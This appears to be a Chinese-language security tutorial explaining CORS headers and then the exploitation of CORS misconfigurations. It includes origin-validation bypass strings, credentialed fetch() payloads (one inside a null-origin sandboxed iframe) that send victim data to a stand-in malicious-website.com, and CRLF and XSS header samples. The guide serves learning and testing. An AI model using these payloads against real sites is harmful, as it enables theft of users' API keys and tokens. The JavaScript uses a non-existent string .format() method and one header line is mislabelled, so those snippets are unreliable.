CORS错误配置

跨域资源共享(CORS)

跨域资源共享(CORS)是一种浏览器机制,它允许对位于给定域外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性。

同源策略是一种限制性的跨域规范,限制了网站与源域外资源交互的能力

CORS 标准通过添加新的 HTTP 头来工作,让服务器可以描述哪些源被允许从 Web 浏览器读取该信息。当 Web 应用程序请求与自身具有不同源的资源的,它会执行跨域 HTTP 请求。

源是以下三元组:(协议, 主机, 端口)

对于可能对服务器数据产生副作用的 HTTP 请求方法,规范要求浏览器预检请求,使用 HTTP OPTIONS 请求方法向服务器请求支持的方法,然后在服务器批准后发送实际请求。

服务器还可以告知客户端是否应该随请求一起发送凭据。

CORS 失败会导致错误,但错误的详细信息对 JavaScript 不可用。

简单请求

简单请求不会触发 CORS 预检。简单请求是满足所有以下条件的请求:

  • 允许的方法之一:

    • GET

    • HEAD

    • POST

  • 唯一允许手动设置的头:

    • Accept

    • Accept-Language

    • Content-Language

    • Content-Type

    • DPR

    • Downlink

    • Save-Data

    • Viewport-Width

    • Width

  • Content-Type 头的唯一允许值:

    • application/x-www-form-urlencoded

    • multipart/form-data

    • text/plain

  • 没有在请求中使用的任何 XMLHttpRequestUpload 对象上注册事件监听器(这些通过 XMLHttpRequest.upload 属性访问)。

  • 请求中没有使用 ReadableStream 对象。

预检请求

预检请求首先通过 OPTIONS 方法向其他域上的资源发送 HTTP 请求,以确定发送实际请求是否安全。

带凭据的请求

带凭据的请求允许发送 HTTP cookie 和 HTTP 认证信息(默认情况下浏览器不会发送凭据)。

当响应带凭据的请求时,服务器必须在 Access-Control-Allow-Origin 头的值中指定一个源,而不是指定 '*' 通配符。

在 CORS 响应中设置的 cookie 受正常的第三方 cookie 策略约束

HTTP 请求头

本节描述客户端在发出 HTTP 请求时可能设置的头部,以利用 CORS 功能。这些头部由浏览器在向服务器发出请求时设置。使用跨站 XMLHttpRequest 功能的开发人员不必以编程方式设置任何 CORS 头。

Origin

Origin: <origin>

Origin 头表示跨站访问请求或预检请求的源。origin 参数是一个 URI,指示请求发起的服务器。它不包含任何路径信息,只包含服务器名称。

源值可以为 null,或是一个 URI

在任何访问控制请求中,总是发送 Origin

Access-Control-Request-Method

Access-Control-Request-Method: <method>

Access-Control-Request-Method 在发出预检请求时使用,让服务器知道在实际请求时将使用什么 HTTP 方法。

Access-Control-Request-Headers

Access-Control-Request-Headers: <field-name>[, <field-name>]*

Access-Control-Request-Headers 头在发出预检请求时使用,让服务器知道在实际请求时将使用什么 HTTP 头。

HTTP 响应头

本节描述服务器为 CORS 规范定义的访问控制请求发送回的 HTTP 响应头。

Access-Control-Allow-Origin

Access-Control-Allow-Origin: <origin-or-null> | *

Access-Control-Allow-Origin 指定单个源(或 null),告诉浏览器允许该源访问资源。对于不带凭据的请求 - 使用 '*' 通配符,告诉浏览器允许任何源访问资源。

如果服务器指定单个源而不是 '*' 通配符,服务器还应该在 Vary 响应头中设置 Origin - 以指示客户端服务器响应将根据 Origin 请求头的值而有所不同。

Access-Control-Allow-Methods

Access-Control-Allow-Methods: <method>[, <method>]*

Access-Control-Allow-Methods 头指定访问资源时允许的一个或多个方法。这用于响应预检请求。

Access-Control-Allow-Headers

Access-Control-Allow-Headers: <header-name>[, <header-name>]*

Access-Control-Allow-Headers 头用于响应预检请求,指示在进行实际请求时可以使用哪些 HTTP 头。

Access-Control-Expose-Headers

Access-Control-Allow-Headers: <header-name>[, <header-name>]*

Access-Control-Expose-Headers 头让服务器可以将浏览器允许访问的头列入白名单。默认情况下,浏览器只能访问 7 个 CORS 安全列表响应头:

  • Cache-Control

  • Content-Language

  • Content-Length

  • Content-Type

  • Expires

  • Last-Modified

  • Pragma

Access-Control-Max-Age

Access-Control-Max-Age: <delta-seconds>

Access-Control-Max-Age 头指示预检请求的结果可以缓存多长时间。

Access-Control-Allow-Credentials

Access-Control-Allow-Credentials: true

当请求的凭据模式(Request.credentials)为 include 时,浏览器只会将响应暴露给前端 JavaScript 代码,如果 Access-Control-Allow-Credentials 值为 true。

凭据是 cookie、授权头或 TLS 客户端证书。

CORS 错误配置

滥用无凭据的 CORS

如果受害者的网络位置作为一种认证方式,您可以使用受害者的浏览器作为代理来绕过基于 IP 的认证并访问内部网络中的应用程序。

就影响而言,这类似于 DNS 重新绑定。

错误配置的 CORS 破坏 TLS

假设一个严格使用 HTTPS 的应用程序也将一个使用纯 HTTP 的受信任子域名列入白名单。例如,当应用程序接收到以下请求时:

GET /api/request/api_key HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

应用程序响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

在这种情况下,能够拦截受害者流量的攻击者可以利用 CORS 配置来破坏受害者与应用程序的交互。攻击涉及以下步骤:

  1. 受害者用户发出任何纯 HTTP 请求

  2. 攻击者注入重定向到 http://trusted-subdomain.vulnerable-website.com

  3. 受害者的浏览器遵循重定向

  4. 攻击者拦截纯 HTTP 请求,并返回包含对 https://vulnerable-website.com 的 CORS 请求的欺骗响应

  5. 受害者的浏览器发出 CORS 请求,包括 http://trusted-subdomain.vulnerable-website.com 作为源

  6. 应用程序允许请求,因为源在白名单中;请求的敏感数据在响应中返回

  7. 攻击者的欺骗页面可以读取敏感数据并将其传输到他们控制的任何域

即使易受攻击的应用程序在其 HTTPS 使用方面 otherwise 健壮,没有 HTTP 端点并且所有 cookie 都标记为安全,此攻击仍然有效。

损坏的解析器

大多数服务器使用基本的字符串操作来验证 Origin 头,但有些将其解析为 URL。这允许您利用浏览器对域名中异常字符的容忍度。

在 Safari 中,https://website.com%60.attacker.com/ 是一个有效的 URL。如果源自该 URL 的 CORS 请求,Origin 头将如下所示:

Origin: https://website.com`.attacker.com/

服务器可能将此头解析为 https://website.com,省略 `.attacker.com/ 部分。

Chrome 和 Firefox 支持子域名中的 _ 字符,可以用来代替 ` 来利用 Firefox 和 Chrome 用户。

您也可以尝试使用其他方法来破坏验证:

expected-host.com.attacker.com
expected-host.computer
foo@evil-host:80@expected-host
foo@evil-host%20@expected-host
evil-host%09expected-host
127.1.1.1:80\@127.2.2.2:80
127.1.1.1:80:\@@127.2.2.2:80
127.1.1.1:80#\@127.2.2.2:80
ß.evil-host

参考:

通过 CORS 信任关系利用 XSS

即使"正确"配置的 CORS 也在两个源之间建立了信任关系。如果应用程序信任一个易受 XSS 攻击的源,攻击者可以注入 JavaScript 来使用 CORS 从应用程序检索敏感信息。

给定以下请求:

GET /api/request/api_key HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

如果应用程序响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

subdomain.vulnerable-website.com 上发现 XSS 漏洞的攻击者可以使用它来检索 API 密钥,使用类似这样的 URL:https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

生成 Access-Control-Allow-Origin 头

实际上没有浏览器支持以空格分隔的源列表(规范建议这样做):

Access-Control-Allow-Origin: http://foo.com http://bar.net

此外,通配符不允许您信任所有子域名:

Access-Control-Allow-Origin: *.bar.net

只有通配符源 '*'

由于当凭据标志为 true 时不能在 Access-Control-Allow-Origin 中使用通配符,请检查 Access-Control-Allow-Origin,许多应用程序根据用户提供的 Origin 值以编程方式生成 Access-Control-Allow-Origin 头。如果您看到包含任何 Access-Control-* 头但没有声明源的 HTTP 响应,这强烈表明应用程序将基于用户输入生成头。其他应用程序只有在接收到包含 Origin 头的请求时才会发送 CORS 头,这使得相关漏洞极难被发现。

例如,应用程序接收到以下请求:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=<token>

并响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

如果响应包含任何敏感信息,如 API 密钥或 CSRF 令牌,您可以通过在您的资源上放置以下脚本来检索它:

fetch("https://vulnerable-website.com/sensitive-victim-data", {
    credentials: "include"
})
    .then((response) => {
        document.location = "//malicious-website.com/log?key={0}".format(response.text());
    });

服务器端缓存中毒

如果应用程序反映 Origin 头而不检查它是否存在像 \r 这样的非法字符,您就有一个针对 IE/Edge 用户的 HTTP 头注入漏洞,因为 IE 和 Edge 将 \r (0x0d) 视为有效的 HTTP 头终止符:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer 将响应视为:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

这不能直接利用,因为攻击者无法让某人的浏览器发送这种格式错误的头,但您可以手动制作此请求,服务器端缓存可能会保存响应并将其提供给其他人。当前的 payload 将页面的字符集更改为 UTF-7,这对于创建 XSS 漏洞非常有用。

null 源

Origin 头的规范支持值 null。浏览器可能在各种异常情况下在 Origin 头中发送值 null

  • 跨站重定向

  • 来自序列化数据的请求

  • 使用 file: 协议的请求

  • 沙盒化的跨域请求

一些应用程序可能将 null 源列入白名单以支持应用程序的本地开发。

例如,应用程序接收到以下请求:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

并响应:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
...

在这种情况下,攻击者可以使用各种技巧来生成在 Origin 头中包含值 null 的跨域请求。这将满足白名单,导致跨域访问。例如,这可以使用沙盒化的 iframe 跨域请求的形式来完成:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
fetch('https://vulnerable-website.com/sensitive-victim-data', {
    credentials: 'include'
})
    .then((response) => {
        document.location = '//malicious-website.com/log?key={0}'.format(response.text());
    });
</script>"></iframe>

Vary: Origin 和客户端缓存中毒

CORS 规范指示开发人员在动态生成 Access-Control-Allow-Origin 头时在 Vary 响应头中指定 Origin

Vary: Origin

这听起来很简单,但大量开发者忘记了,包括 W3C 本身

假设应用程序反映自定义头的内容而不编码(自定义 HTTP 头中的反射 XSS):

GET / HTTP/1.1
Host: vulnerable-website.com
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...

Invalid user: <svg/onload=alert(1)>

没有 CORS,这无法利用,因为没有办法让某人的浏览器跨域发送 X-User-id 头。

有了 CORS,您可以让它们发送此请求。就其本身而言,这是无用的,因为包含注入的 JavaScript 的响应不会被渲染。但是,如果未指定 Vary: Origin,响应可能会存储在浏览器的缓存中,并在浏览器导航到关联的 URL 时直接显示。

参考

最后更新于